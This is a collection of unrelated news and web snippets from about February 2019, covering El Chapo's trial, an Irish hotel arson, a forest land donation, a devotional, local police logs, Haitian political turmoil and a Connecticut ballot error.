Among them were Guzman's former Sinaloa lieutenants, a computer encryption expert and a Colombian cocaine supplier who underwent extreme plastic surgery to disguise his appearance.

One Sinaloa insider described Mexican workers getting contact highs while packing cocaine into thousands of jalapeno cans.

Another said Guzman sometimes acted as his own "sicario" - or hitman - punishing a Sinaloan who dared to work for another cartel by kidnapping him, beating and shooting him, and having his men bury the victim while he was still alive, gasping for air.

The defence case lasted just half an hour. Guzman's lawyers did not deny his crimes as much as argue he was a fall guy for government witnesses who were more evil than he was.

Defence lawyer Jeffrey Lichtman urged the jury in closing arguments not to believe witnesses who "lie, steal, cheat, deal drugs and kill people".

Deliberations were complicated by the trial's vast scope.

Jurors were tasked with making 53 decisions about whether prosecutors had proved different elements of the case.

The trial cast a harsh glare on the corruption that allowed the cartel to flourish. Colombian trafficker Alex Cifuentes caused a stir by testifying that former Mexican president Enrique Pena Nieto took a $100m (88m) bribe from Guzman.

Mr Pena Nieto denied it, but the allegation fit a theme - politicians, army commanders, police and prosecutors, all on the take.

The tension at times was cut by some of the trial's sideshows, such as the sight of Guzman and his wife, Emma Coronel Aispuro, showing up in matching burgundy velvet blazers in a gesture of solidarity.

Surreal

Another day, a Chapo-size actor who played the kingpin in the TV series Narcos: Mexico came to watch, telling reporters that seeing the defendant flash him a smile was "surreal".

While the trial was dominated by his persona as a near-mythical outlaw who carried a diamond-encrusted handgun and stayed one step ahead of the law, the jury never heard from Guzman himself, except when he told the judge he would not give evidence.

The defendant had previously escaped from jail by hiding in a laundry bin in 2001. He then got an escort from crooked police officers into Mexico City before retreating to one of his many mountainside hideaways.

In 2014, he pulled off another jail break, escaping through a mile-long lighted tunnel on a motorcycle on rails.Justice Minister Charlie Flanagan has expressed "deep concern" about a second fire in only five weeks at a hotel in the midlands earmarked for asylum-seekers.

Mr Flanagan spoke as gardai confirmed they were investigating the suspicious incident at the Shannon Key West Hotel in Rooskey, Co Leitrim.

Two security guards and a foreman were at the hotel when the attack took place on the building on the banks of the River Shannon.

Targeted

Gardai based at Carrick-on- Shannon were alerted to rep-orts of a blaze at around 9.45pm on Monday.

The Shannon Key West was also targeted in a suspected arson attack just over four weeks ago.

It is due to be sold, but at the moment it is leased out with plans to use it as a direct provision centre for asylum seekers until December.

"I am deeply concerned and disappointed at the reports of the fire which broke out in the Shannon Key West Hotel in Rooskey," said Mr Flanagan.

"This pattern of behaviour represents an unacceptable and worrying development and should be condemned by all."

Speaking at the scene yesterday, Supt Kevin English said the attacks "were not spontaneous".

"I am waiting to get full feedback from the technical experts here to determine the cause of the fire," he said.

"There is evidence of forced entry to the hotel by breaking a window in a patio door.

"My appeal is for anybody who was in the immediate vicinity here between approximately 8pm and 9.45pm on Monday, and who may have noticed people acting suspiciously or any cars that were parked in unusual circumstances, or any-body that may have had a dash cam fitted to their car, to please come forward and provide this information.

"I am acutely aware that this is the second fire in this location which is determined to open as a direct provision centre to receive people seeking inter- national protection.

Negativity

"I am concerned that this second fire is casting a degree of negativity over the community here in Rooskey.

"I would ask that the people of Rooskey come together, stand firm and whatever information they might have, please come forward.

"I'm keeping the investigations into both fires independent beyond obviously the intent to burn on both occasions.

"The first investigation is progressing satisfactorily. I am satisfied at this stage that it was an arson.

"We have determined the presence of an accelerant that was used to ignite the hotel."Donation expands DuPont State Forest by 400 acres

Conserving Carolina has transferred 402 acres of land to the North Carolina Forest Service to expand Dupont State Recreational Forest while conserving key headwater streams and adding to a 100,000-acre corridor of conserved land.

In a region blessed with an abundance of public and conserved natural lands, DuPont State Recreational Forest is already one of our greatest conservation gems, said Conserving Carolina executive director Kieran Roe. The incorporation of the Continental Divide tract will enhance it further by protecting water quality, preserving an important wildlife corridor, and creating future opportunities for public recreation.

The Continental Divide tract located south of DuPont Forest in Transylvania County extends the forest across the Eastern Continental Divide, which separates the waters that flow east toward the Atlantic and those that flow west toward the Gulf of Mexico.

It also helps link DuPont Forest to more than 100,000 acres of existing conserved lands along the North Carolina-South Carolina state line. Public lands in this corridor include Jones Gap State Park, Caesars Head State Park, Mountain Bridge Wilderness Area, Headwaters State Forest, Greenville Watershed, Jocassee Gorges, and Gorges State Parkand, further west, Sumter and Nantahala National Forests. The Continental Divide property also borders thousands of acres of private conservation land, including two summer camps.

DuPont State Recreational Forest is an incredible natural resource that we are fortunate as a state to have, said N.C. Agriculture Commissioner Steve Troxler. I am proud this new tract will add to the N.C. Forest Services continued efforts to protect and improve renewable and valuable natural resources, including critical headwaters. Water quality affects us all, and now this resource will be there for future generations as well.

Streams located on the Continental Divide tract form the headwaters of both Reasonover Creek and the Green River. The extended conservation area where the land is located allows wildlife access to a vast migration corridor, enabling fauna to seek out food, shelter and mates. The location of the corridor along the Blue Ridge Escarpment also creates vital opportunities for plant and animal species to shift their range as the climate changes. Some species may adapt by moving to higher elevations or further north.

Conserving Carolina, which helped protect DuPont Forest starting in the 1990s, identified the Continental Divide tract as a priority over a dozen years ago. The land has had a succession of ownerships over the past decade, including a post-recession bank foreclosure. Fortunately, Gwinnett Industries, which purchased the tract in 2016, partnered with Conserving Carolina to protect the land. They agreed to a phased series of purchases, which gave Conserving Carolina the opportunity to acquire portions of the tract as it raised needed funds. They sold the land as a generous bargain sale, at a price well below appraised fair market value.

Last fall, Conserving Carolina was able to purchase a total of 415 acres in two phases. It conveyed 13 acres of the land located in Henderson County to the adjoining Green River Preserve, which will add the tract to the existing 2,600-acre conservation easement already protecting the summer camp property. The remaining 402 acres were transferred to the N.C. Forest Service.

Conserving Carolina aims to purchase the remaining 314 acres of the Continental Divide tract and add it to DSRF by the end of 2019. In November, the North Carolina Clean Water Management Trust Fund announced a grant that provides most of the funding needed for this final purchase. Conserving Carolina is working to raise an additional $100,000 for the purchase.

Vital funding for the 402 acres recently conveyed to the state came through grants from the Open Space Institute and the N.C. Forest Service and generous private donations from Fred and Alice Stanback, Marilyn Westphal and Mark Simpson, as well as Maurice Loiselle and Karen Topol.

Peter Howell, executive vice president of the Open Space Institute, said, This project highlights the importance of land conservation in an era of climate change, not only for communities and recreation, but also for wildlife. This project broadens the connection between conserved lands in North and South Carolina, which will create critical havens for wildlife as the climate changes. We applaud Conserving Carolinas efforts on this project and their overall commitment to this important landscape.

Conserving Carolina is a local land trust dedicated to protecting land and water, promoting good stewardship, and creating opportunities for people to enjoy nature. Learn more and become a member at conservingcarolina.org.Meet Our Team

Robert Segal, M.A., CEO, co-founded HelpGuide in 1999 and has been its leader as the organization evolved from a local Santa Monica Rotary Club project into one of the worlds top 10 mental health websites. Robert has over 60 years of experience in management and leadership. In 1955, he completed an innovative 5-year program to earn a Bachelor of Electrical Engineering. The next year, he became the Project Leader of a fast track missile simulator that was part of the U.S. missile defense system. Later, he developed a unique identification friend-or-foe (IFF) video processor for the U.S. Naval Research Laboratory that was patented under Roberts name. He switched career paths in 1974 and earned an M.A. in Educational Psychology. In the late 1970s, Robert and his wife, Jeanne Segal, Ph.D., coordinated a groundbreaking series of holistic health conferences for the Association for Humanistic Psychology (AHP). In the 1980s, Robert began a successful career in commercial real estate development and management. Robert is very active in the Los Angeles nonprofit community, including nine years on the Board of Directors of the California Community Foundation and 34 years on the Board of Governors of the Boys & Girls Clubs of Santa Monica.

Melinda Smith, M.A., Executive Director, sets the strategic vision for HelpGuide, in collaboration with CEO Robert Segal, and oversees content operations and organizational outreach and development. She leads a diverse team of writers, editors, content producers, SEO experts, and web developers and has been a key driver in HelpGuides growth into an internationally-acclaimed website that reaches over 50 million people a year. She holds a B.A. in English and an M.A. in psychology.

Ken Vader, Projects & Operations Manager, has a B.S. in Computer Science and over 10 years of experience in IT administration and support. Ken assists in maintaining HelpGuide.orgs quality as well as providing technical support to the HelpGuide team.

Chris Saranchock, Media & Marketing Manager, creates and produces HelpGuides video content and audio meditations and oversees digital marketing. He has been a practicing Buddhist for over 20 years, and studied mindfulness-based stress reduction (MBSR) at the Center for Mindfulness in Medicine, Health Care, and Society at the University of Massachusetts Medical School. He holds a degree in business administration from the University of Hawaii at Manoa, as well as a certificate in cinema production.

Lawrence Robinson, Senior Editor, has over 20 years of experience writing about health and fitness. For the last 8 years, hes been committed to bringing HelpGuides empowering message to more and more readers looking to overcome mental health challenges. He is also a published author and has edited several books on psychology.

Adrian Tarango, Lead Web Developer & DevOps Manager, has over 20 years experience in IT management, web application, and mobile app development. For the last 12 years, he has been responsible for transitioning HelpGuide through various stages of web innovations and technologies while preserving the essence of our content. He is devoted to enhancing and expanding the presentation of HelpGuides unique reader experience.

Mike Weber, SEO/Analytics, Editorial Research/QA & Data Management, brings a Physiology B.S., collegiate Certificates in Media Arts, and 22 years of environmental assessment experience to HelpGuide. He performs SEO, assesses site analytics, oversees content quality assurance for the website and maintains organizational records and databases.

Kai Lundgren, Social Media Manager, was born and raised in Dana Point, CA, and holds a B.A. in English from UCLA. As our resident social media maven, he is responsible for growing HelpGuides social media presence and engaging with our online community.



Kisa Rozenbaoum, Illustrator, is a freelance illustrator and graphic designer. She currently studies at the Savannah College of Art and Design.

Board of Directors

Shirley Fredricks, Board Secretary/Treasurer, is a long-time trustee of the Lawrence Welk Family Foundation and a founding board member of the National Center for Family Philanthropy. Shirley has been engaged in virtually every important movement in the country to educate and inspire family foundations dedicated to supporting the public good.

Stephanie Mihalas, PhD, NCSP, ABPP, is a licensed and board certified psychologist, as well as a nationally certified school psychologist. She is the founder of The Center for Well Being in Los Angeles, CA. Mihalas provides psychotherapeutic services to children, teens, adults, and families; as well as parent, executive, organizational, and chronic wellness coaching. Her speciality areas include: bullying, trauma, anxiety, chronic illness/rare disease, intergenerational issues, and working with marginalized populations.

Robert Segal, M.A. Earned a Masters degree in Educational Psychology and focused on holistic health as a facilitator and conference organizer. Robert founded commercial development / property management firm. He is an active board member in numerous non-profit organizations. Hes been HelpGuides technical and operations manager since the website was launched in 1999. He is currently the CEO.

Monika White, Ph.D., Board Chair, is a nationally recognized author and lecturer in the field of aging. Dr. White was the president and CEO of the Center for Healthy Aging and an adjunct professor of gerontology at the USC Davis School of Gerontology. She has concentrated her emphasis on care management for older adults and their families.Special Note:

This is not a traditional Valentines Day post. It is part of a series of messages.[NOTE] However, it is part of the most significant gift and message of love ever given: For God so loved the world that he gave his one and only Son...

I sat in the packed and humid auditorium in Bangkok, Thailand. Tears streamed down my cheeks as I sang at the top of my lungs. The tears were not from the chicken, hot peppers, and rice I had for breakfast from a street vendor  the two orange crush sodas had taken care of that. What caused my tears, what held my heart, was the moment.

We were singing, They will know we are Christians by our love, by our love, they will know we are Christians by our love! I sang in English. Most around me sang in Thai. People from over twelve nations were worshiping together. Each sang in her or his native language in four-part harmony. Rather than being confusing or merely noise, the singing was overwhelmingly beautiful. Even more touching, this was not a special occasion. Other than being the Lords Day, what made it special was that though we were different in culture and language and skin color, we were one family. We were bound together by our shared love for Jesus. The Holy Spirit made us family without borders!

This experience was a mini-taste of heaven. John describes heaven in the book of Revelation with these words:

After this I looked, and there before me was a great multitude that no one could count, from every nation, tribe, people and language, standing before the throne and before the Lamb. They were wearing white robes and were holding palm branches in their hands. And they cried out in a loud voice: Salvation belongs to our God,

who sits on the throne,

and to the Lamb. All the angels were standing around the throne and around the elders and the four living creatures. They fell down on their faces before the throne and worshiped God, saying:

Praise and glory

and wisdom and thanks and honor Amen!Praise and gloryand wisdom and thanks and honor and power and strength

be to our God for ever and ever. Amen! (Revelation 7:9-12)

Jesus challenged his first followers to take his message of hope, new life, heavenly power, and one family to the whole world. The Lord explained his plan in these words:

But you will receive power when the Holy Spirit comes on you, and you will be my witnesses in Jerusalem, and in all Judea and Samaria, and to the ends of the earth (Acts 1:8).

This simple, but breathtakingly simple, yet inclusive, plan was used on a city level ("Jerusalem"), a regional level ("all Judea and Samaria"), as well as a whole world level (ends of the earth). The Lord wanted his followers to share their great news about Jesus and the kingdom of God using this strategy:

Here. Near. Far.

We see this plan in action as Luke traces the spread of the great news of Jesus from Jerusalem to all the areas around Judea and Samaria. Then, they reached out all over the Roman Empire. You can map the progress by the great cities of that time: The Jesus-message spread from Jerusalem to Antioch to Ephesus and then to Rome.

We can become so familiar with this story that we can forget how impossible Jesus parting words had to seem. The Lord only had a small group from the backwaters of Galilee. These few followers watched their Lord leave them. They were not influential. They had few financial resources. They were powerless by the worlds standards. They were simple, ordinary, folks, at best!

However, this little group of people knew, loved, followed, and trusted Jesus (Acts 4:13). Jesus resurrection inspired their hearts to embrace their Lords words as he left them (Acts 1:8). So, these ordinary people did the extraordinary: they lived Jesus words into reality.

Two thousand years later, in a place so far from my earthly home, the beautiful country of Thailand, I experienced the reality of Jesus grand vision. I was reignited in my motivation to continue carrying out the here, near, and far plan of our Lord. My world since that experience has been both bigger and smaller because I am part of a family without borders!

In a world frequently more fractured by race, political party, culture, language, country, and ethnicity, followers of Jesus have an incredible opportunity. With internet access, social media networking, and modern travel, our world is so much more accessible to us than it was to those few folks on the mountain watching Jesus return to the Father. So, dear friend in Jesus, the real question for us is whether or not we are committed to both live out the mission of Jesus (to the ends of the earth) and the vision of Jesus (a great multitude...from every nation, tribe, people and language) in our time. Yes, we must commit to this mission and go here, near, and far. Yes, we must commit to this vision and love all people in all places. Why? Two reasons crucia0l to our authenticity as followers of Jesus:

For God so loved the world... (John 3:16). If our Father loved the people of the world so much, how can we not love them and go to them with the message of Jesus? By this everyone will know that you are my disciples, if you love one another (John 13:35). If our Father has called each of us  with all of our differences  into his family, how can we not love each one whom the Father has called into our family?

Here, near, and far is our mission as we live out his vision for us to be his loving family without borders!

Jesus resurrection inspired their hearts to embrace their Lords words as he left them.

Today's message is part six of an eight-part series called 8GHT  Eight Truths that Turned the World Upside Down!

Special thanks for the use of the Jesus related images in this series to Free Bible Images and The Lumo Project. Those pictures associated with the ministry of the apostle Paul are courtesy of Boettcher+Trinklein Television Inc.  All rights reserved, from ToTheEndsofTheEarthMovie.com.Young workers, including apprentices, are often not fully aware of their entitlements and we find that they are reluctant to complain, which can make them particularly vulnerable to exploitation, said Parker.

Hair-Rass Me underpaid the employee $14,507 between July 2015 and July 2016, when she was aged between 15 and 17.

The Court has also ordered Abboud and his company to back-pay the employee in full, plus interest.

The apprentice generally worked 50-hour weeks but was paid weekly amounts that were not sufficient to cover all of her entitlements under the Hair and Beauty Industry Award 2010.

For example, in one week, the apprentice was paid $300 despite being entitled to $653.90.Following the layoffs, employees took to social media to slam management after it allegedly failed to pay dismissed workers for earned time off. CEO Jonah Peretti later relented after the backlash.

Union organisers said: We want to remain spry and competitive, but we reject the argument that we must choose between freelancing in a hellscape gig economy for vampirical platforms [and] submitting to the whims of a corporation that botches basic HR tasks.

BuzzFeed employees are now urging management to recognise their union and will reportedly be in talks with the employer.

We look forward to meeting with the organisers to discuss a way toward voluntarily recognising their union, BuzzFeed News Editor-in-Chief Ben Smith said.

The layoffs were part of BuzzFeeds drive to restructure its workforce and reduce redundancies.File Photo: Retired astronaut Mark Kelly poses for a portrait at All Saints Episcopal School in Tyler, Texas. Kelly entered the race Tuesday, Feb. 12, 2019, to finish John McCain's term in the U.S. Senate, looking to join a small club of astronauts who have traded an office in outer space for the U.S. Capitol. [Photo: AP/Tyler Morning Telegraph/Chelsea Purgahn]

Retired astronaut Mark Kelly entered the race Tuesday to finish John McCain's term in the U.S. Senate, looking to join a small club of space explorers who have served in the U.S. Capitol.

Kelly and his twin brother, Scott Kelly, joined NASA in 1996 after flying combat missions in the U.S. Navy. Mark Kelly flew his first of four space missions on the shuttle Endeavor in 2001 and commanded a mission on Endeavor in 2011, according to his campaign biography. He's spent more than 50 days in space.

File Photo: Former Rep. Gabrielle Giffords, D-Ariz., right, listens as her husband, retired astronaut Mark Kelly, left, speaks on Capitol Hill in Washington. Kelly entered the race Tuesday, Feb. 12, 2019 to finish John McCain's term in the U.S. Senate, looking to join a small club of astronauts who have traded an office in outer space for the U.S. Capitol. [Photo: AP/Susan Walsh]

Here's a look at some of the other astronauts who've turned to public office:

JOHN GLENN  The first American to orbit the Earth, Glenn was later elected to the U.S. Senate from Ohio and served four terms. He was a Democrat who worked to block the spread of weapons of mass destruction and was chairman of the Government Affairs Committee, according to his NASA biography. In 1998, while still a senator, he became the oldest person to go to space at age 77. He was involved with tests on the aging process during a nine-day mission on the Space Shutter Discovery. He died in 2016 at 95.

HARRISON "JACK" SCHMITT  The former Republican senator from New Mexico flew on Apollo 17 and was the 12th and last man to walk on the moon in 1972, according to the U.S. Geological Survey, where he worked as a geologist in Flagstaff, Arizona before joining NASA as a scientist-astronaut. Schmitt was elected to the Senate in 1976 and was the top Republican on the subcommittee overseeing space. He was defeated in his re-election bid six years later. He is 83.

JACK SWIGERT  Swigert is the man responsible for one of the most famous lines in NASA history: "Houston, we've had a problem here." He was a backup pilot for the 1970 Apollo 13 mission and was swapped in a few days before the flight when Ken Mattingly was exposed to measles. Swigert, a Republican, was elected to represent the 6th Congressional District of Colorado but died in 1982 before taking office. He was 51.

(Story includes material sourced from AP.)On Jan. 11, Galen College of Nursing celebrated the programs second commencement of graduating students from the Hazard campus. The ceremony, held at the Hal Rogers Center (the Forum), honored 13 graduates and the people who helped them along the way.

The second graduating class of Galens Bachelor of Science in Nursing program included: Stephanie Adams; Tara Bailey; Billie Banks; David Barnett; Johna Browning; Cody Campbell; Katie Craft; Elizabeth Jones; Ashley Slone; Joshua Shepherd; Leslie Smith; Tia Wells; and Makayla Wooton.

Were proud of the accomplishments of these graduates, said Kelly Ramey, Galens associate program director for the Hazard campus.

Galen College of Nursing offers two programs at the campus. One is a two-year Associate Degree in Nursing (ADN). The other is a 15-18 month bridge program for Licensed Practical Nurses (LPNs) to continue their education in pursuit of their associate degree and subsequently their RN. The inaugural class for the Hazard campus started in March 2017, and Galen is already looking forward to the next graduating classes, as students from the two-year ADN program begin to complete their program.

Tara Bailey, one of the graduates and the valedictorian of the current graduating class, said she would not have made it through the program without the support and encouragement of her family, friends, classmates and her faith.

The real reason Im here, first and foremost, is God and the prayer cloth I kept tucked into my shirt along the way, said Bailey. Im here because of the faculty and staff at Galen that helped us to learn and challenged us along the way. Im here because of those that helped pray me through it; my family, friends and coworkers.

Weve learned so much and come so far, Bailey said, stating that her classmates are like family now.

Ramey continued, stating that the students families and friends were also a major part of the successful journey. Their family and friends have experienced the trials, the tribulations and the tears from nursing school, Ramey said.

One of the guest speakers for the event, Galens Director of Curriculum and Faculty Development Dara Lanman, spoke to the graduates about what an accomplishment this is for them, their loved ones and the community.

According to the Kentucky Board of Nursing, between July 2017 and June 2018 only 1,677 people earned their associates degree in the state of Kentucky, said Lanman. 1,677  thats it.

You are part of this very small, elite group of people who did what was necessary to complete this dream, Lanman said to the students.

Another speaker for the evening, Audria Denker, Galens executive vice president of prelicensure nursing, agreed, explaining the amount of work, sacrifice and effort the program takes. Completing this program is such an accomplishment. Being a nurse is no easy task, said Denker.

Other than the year after 9/11, nurses have been named the most trusted profession in the country, said Denker. That year after, she explained, police and firemen were named it. These graduates, Denker said, are truly joining one of the best professions in the world.

I am confident that the qualities and characteristics that this group possesses can lead them to great things, said Lanman.

Also, a few awards were given out during the event. The Emerging Leader Award was given to Joshua Shepherd. The Human Touch Award was received by David Barnett. Tara Bailey was awarded the honor of being Valedictorian of her class. The ceremony also consisted of the Nursing Pledge, which was recited during the Ceremony of Lights, and the graduates receiving their nursing pins, a 1,000-year old symbol of service to others.Rep. Jonathan Windy Boy, D-Box Elder, has introduced a bill to create a task force that will help tribal college credits transfer to off-reservation colleges and universities.

"For me, this is long overdue," Windy Boy said.

He said this is an equal-opportunity bill that will make it so that no tribal college students will have to spend extra time and money to obtain their degrees.

Now, many college classes from tribal colleges will not transfer to most units of the Montana University System, so transfer students have to re-take classes that don't transfer.

House Bill 135 would create a...Havre Police Department

Officers were called to a two vehicle crash at Third Avenue and Fourth Street Tuesday at 7:30 a.m.

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Officers were asked Tuesday at 8:19 a.m. to perform a well-being check on First Street Northeast.

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Darrin Kent Torgerson of Havre, 46, was arrested on charges of driving with a suspended or revoked driver's license and violation of conditions of release, during a vehicle stop on First Street Tuesday at 8:57 a.m. Torgerson was listed on the jail roster this morning with the additional charges pending of felony stalking and misdemeanor violation of a protection order, a second count of violation of conditions of release from District Court and trespass to property.

--

Someone stopped at the police station to report a fraudulent phone account Tuesday at 1:30 p.m.

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Victorri Faith Rosette of Havre, 22, was arrested on charges of theft of belongings from a vehicle and trespass to vehicles, after a caller at a First Street establishment reported Tuesday at 4:59 p.m. binoculars were stolen and a 14th Avenue caller reported suspicious activity at 5:05 p.m.

--

Officers assisted Havre Fire Department at a vehicle fire on Ninth Street at 3:20 a.m. today.

Hill County Sheriff's Office

Deputies had no calls listed in the dispatch log resulting in arrests or investigations.

Havre Fire Department

Emergency medical personnel responded to one call Tuesday and one call early this morning.

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Firefighters responded to a structure fire reported at 6:14 p.m. Tuesday on the 800 Block of Second Street West and found smoke in the basement caused by an electrical problem with a sauna. Burnt boards were removed and the area was checked for further damage. HFD recommended the owner contact an electrician.

--

Firefighters were called to a vehicle fire on the 800 Block of Ninth Street West at 3:17 a.m. today. The crew stretched a line to the vehicle and douse the fire with foam. The cause of the fire was discarded ashesfrom a fire placed in the pickup box.

Havre Animal Shelter

The Havre shelter this morning held one medium-hair cat, one short-hair cat, one long-hair 9-month-old kitten, a medium-hair 6-month-old kitten and two long-hair 7-month-old kittens all of unknown gender, one medium-hair female cat, one male long-hair cat and four medium-hair male cats, as well as two cats for its trap-spay/neuter-release program.

--

The Havre shelter also held this morning one female mixed-breed dog, a male Chihuahua dog, a female shepherd-Labrador retriever dog, a male Labrador Retriever dog, a male shepherd dog, a male border collie dog, a male mixed breed 11-week-old puppy, a male pit bull terrier dog, a female Anatolian shepherd-husky 11-month-old puppy, a male mixed-breed 22-week-old puppy and a male pit bull terrier dog.Editor: Ive yet to see any news reports about all the illegals that were northbouMichigan City, IN (46360)

Today

Scattered thunderstorms developing this afternoon. High 81F. Winds SSW at 10 to 20 mph. Chance of rain 40%..

Tonight

Rain showers early with scattered thunderstorms arriving overnight. Low 67F. Winds S at 10 to 15 mph. Chance of rain 50%.Published on 2019/02/12

Come with hungry drama bellies as today's casting news is full of delicious tidbits. From newer actors challenging themselves to an experienced actor taking on a Korean hero, enjoy the newest additions to dramaland.

Advertisement

Drama Bite #1: Ko Gun-han is set to join MBC's spring broadcast "Special Labor Inspector, Mr. Jo" as Kim Seon-woo, a character who is reportedly quite different from any other that the actor has previously tackled. Seon-woo is a former student of Jo Jin-gap (Kim Dong-wook) and the most recent victim of labor injustice.

Drama Bite #2: KBS's "Doctor Prisoner" has recruited Bae Yoon-kyung to become Jeong Se-jin, a nurse who is a mood-maker, which seems important when one is working in a prison.

Drama Mouthful #3: This third bit of news is a pretty major casting in "The Nokdu Flower". The SBS production has wooed powerhouse Choi Moo-sung as legendary hero Jeon Bong-joon, a solid addition to any cast as the actor's gravitas is well-known in film and drama.

Sources: (1) (2) (3)



Haiti - News : Zapping...





Jovenel Moise cancels his trip to Rome

The President of Haiti, Jovenel Moise, will not attend the opening ceremony of the 42nd edition of the Board of Governors of the International Fund for Agricultural Development (IFAD), to be held in Rome on 14 and 15 February. According to the International Italian-Latin American Organization (IILA), the Haitian President will be absent for the ceremony scheduled for next Thursday at the headquarters of the United Nations Food and Agriculture Organization (FAO) and will not meet Pope Francis.



Dark scenario of Eddy Labossiere

"The scenario that is emerging : Jovenel Moise will leave power, traditional politicians regain power to continue the status quo, Core Group wins, the oligarchy strengthens its power: The privatization of the state continues. The protesting people are sinking into their misery," said Economist Eddy N. Labossiere



NOTICE : Mexican Consular Section

As the security situation has not improved, the consular section will not open as previously stated. The consular section of the Mexican Embassy informs that it will temporarily reinstate its service at 10 am. If you had an appointment for a visa that you had not attended in recent days, you can go there from 10:00 to 12:30. Appointment for legalization Friday, as long as it has service.



The Ambulance Center in difficulty

The National Ambulance Center, much in demand during this crisis period, is starting to face a serious fuel problem, according to Dr Louis Didie Herold. He calls on everyone to allow CAN to find fuel. MESAJ SANSIBILIZASYON :"Sant Anbilansye Nasyonal mande tout moun pou nou toujou kite anbilans yo pase nan tout sikonstans, yo la pou ede sove lavi nenpot moun ki gen ijans medikal. CAN konte sou konpreyansyon ak sipo nou tout pou travay la ka fet nan kelkeswa sikonstans."



The President's entourage demands the departure of PM

Camille Leblanc, adviser to the Prime Minister Jean-Henry Ceant said on the airwaves of the capital, that the entourage of Jovenel Moise demanded the resignation of the Prime Minister as a solution to the crisis, recalling that the resignation requests Opposition addresses the President and not the Prime Minister.



"We must prepare the departure of Jovenel Moise" says Senator Dumont

"We must prepare the departure of Jovenel Moise," said Senator Patrice Dumont who said that the country no longer wants the Head of State. According to him, the best is to organize the departure of the President to avoid a bloodbath in the country...



HL/ HaitiLibre





















Haiti - Religion : The hour is serious, the country is on the edge of the abyss...





In this time of crisis, the Catholic Bishops of the Episcopal Conference Haiti (CEH) sends a message to the "People of God and men and women of good will."



Message of the Bishops :



"'Lord, save us. We are perishing !" (Mt 8:25). It is with this alarming cry of prayer and despair of the disciples to Christ who slept as the boat threatened to sink, that we address you today to tell you that the hour is serious. We must wake up to take together the full measure of the danger that threatens us all. This is the moment to join our forces and our intelligence to save our common boat, Haiti, which is our pride.



The hour is serious because there is violence against life. We deplore the losses in both human lives and property recorded recently in illegal travel and demonstrations. We take this opportunity to present our sympathies to the victims and relatives of the victims.



The hour is serious, the misery is increasing, the common good is threatened. The country is on the edge of the abyss ! This situation can not be prolonged.



Let us wake up to listen to God, Master of wisdom and Principle of all life. Let us listen to the people he loves so much.



We must find a solution of wisdom that takes into account the best interests of the Nation and the defense of the common good. In this sense, we appeal to the citizen conscience of the various parties for a patriotic decision, even if only at the cost of great sacrifices.



On this February 11th, feast of Our Lady of Lourdes and World Day of the Sick, we invite you to pray for Haiti by turning our trustful looks towards the Lord who puts all things standing by his power."< I>



HL/ HaitiLibre

















After more than three years of talking about how to preserve the old Hooper Renwick School  which had been Gwinnett's only school for Black students in the years before to desegregation in the late 1960s  the conceptual renderings and other details about the future plans for the building were released by the city on Monday.The five-bedroom home at 84 Burning Tree Road was renovated in 2018. The main level has an open floor plan that showcases cathedral beamed ceilings, hardwood flooring and oversized glass doors that open out to an expansive stone terrace. Among the living spaces are a living room with double-height windows and a stone fireplace, a formal dining room and an eat-in chefs kitchen with a large center island. The master suite has a full bath, a walk-in closet and an office/sitting room. The lower level walks out to a backyard described by the listing brokerage as secluded. This level has a family room, an exercise space, a full bath and a mudroom that leads out to the attached two-car garage. The house presides over a 2.28-acre lot located at the end of a cul-de-sac. There is room for a future pool should the buyer wish to add one. The assigned public schools for this address are Parkway Elementary, Central Middle and Greenwich High.

Listing agent: Michele Tesei, Houlihan Lawrence, Greenwich brokerage office; (203) 869-0700, ext. 40262 office; (203) 536-3352 cell; mtesei@houlihanlawrence.comHAMDEN  When he went to the polls in November, Mark Costa was excited to a cast a ballot for Jorge Cabrera, a Democrat running for state Senate in the 17th District.

But Cabrera wasnt listed on the ballot a poll worker handed to Costa. Perplexed, Costa set in motion an inquiry that uncovered a long-running error in Hamden elections: Voters in about 25 houses along a one-mile section of Paradise Avenue likely were issued the wrong ballot in every state election from 2012 to 2018.

Costa and his neighbors along that stretch were placed in the 11th Senate District. In November, their ballots included the names of Senate President Pro Tem Martin Looney, D-New Haven, and his Republican challenger Erin Reilly  not Cabrera and Sen. George Logan, R-Ansonia, the incumbent.

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The error, apparently made by the local registrars of voters back in 2011, did not, on its own, lead to a changed outcome in any election in the 17th and 11th districts. But some races there have been very close  Cabrera lost to Logan by just 77 votes in November  and it could lead to a state investigation.

This error disenfranchised voters from state Senate elections that they should have been able to participate in for the last four elections and that is absolutely unacceptable, Denise Merrill, secretary of the State, said Tuesday. We will be forwarding a complaint to the State Elections Enforcement Commission this week.

For all these years, the street list that poll workers use to distribute ballots incorrectly listed that portion of Paradise Avenue as part of the 11th District, according to emails between Anthony Esposito, the Hamden Republican registrar of voters, and Peggy Reeves, director of elections for the Secretary of the State.

Esposito said he had no idea how many people were affected by the error. The emails, obtained by Hearst Connecticut Media, show he was unaware of the issue until the Secretary of the States office told him about it in January.

The problem has been corrected, he said.

But Paradise Avenue residents have still never been told about it. Hearst Connecticut Media interviewed 12 voters who live on this section of Paradise Avenue Tuesday morning. Only three were aware they received the wrong ballot in 2018. They only discovered the mistake after they voted.

My reaction is annoyance, said Eric Lehman, who voted every year from 2012 to 2018, but did not know about the ballot issue. Its always good to have your vote count properly. I hope theyll fix it, but there is not that much we can do about those last four elections, is there?

What Lehman didnt know is that the issue may have never come to light, if not for Costa and a neighborhood group text.

We were all disappointed

After Costa cast his ballot on Election Day, he asked his wife and his mother, who lives with them, about their ballots. They, too, were given 11th District ballots, he said.

We were all disappointed, said Costa, who moved to the neighborhood in 2017. We started knowing the candidate and we wanted to vote for him.

Later that day, in a group text among 15 residents of the neighborhood, some confirmed they got 11th district ballots  but no one, apparently, told the election moderator at Bear Path School in Hamden.

Another neighbor in the group text, Travis Woodward, who lives on a different street, was a volunteer for the Cabrera campaign. He notified Cabreras campaign manager, emails show.

Costa, a psychiatric researcher at Yale School of Medicine, said he also sent to a complaint to the Cabrera campaign because he heard they had a lawyer who would look into the issue.

Cabrera said Tuesday that his campaign never contacted the state with this information, however  because, ironically, he was embroiled in a 17th District recount.

We heard about it, Cabrera said. I think we kind of assumed, Oh yeah, it may have happened, but it was a few isolated cases and its not a game-changer.

Months later, on Jan. 7, Woodward attended an event in New Haven called Voting in Connecticut where Merrill was speaking. He mentioned the problem to an official there.

Nine days later, the Secretary of the States Office contacted the Hamden Registrar of Voters.

Regrets

Emails show Reeves told Esposito of the complaint on Jan. 16. Esposito initially defended the Hamden street list, but then saw the problem stemmed from transferring information between official state election maps and town records.

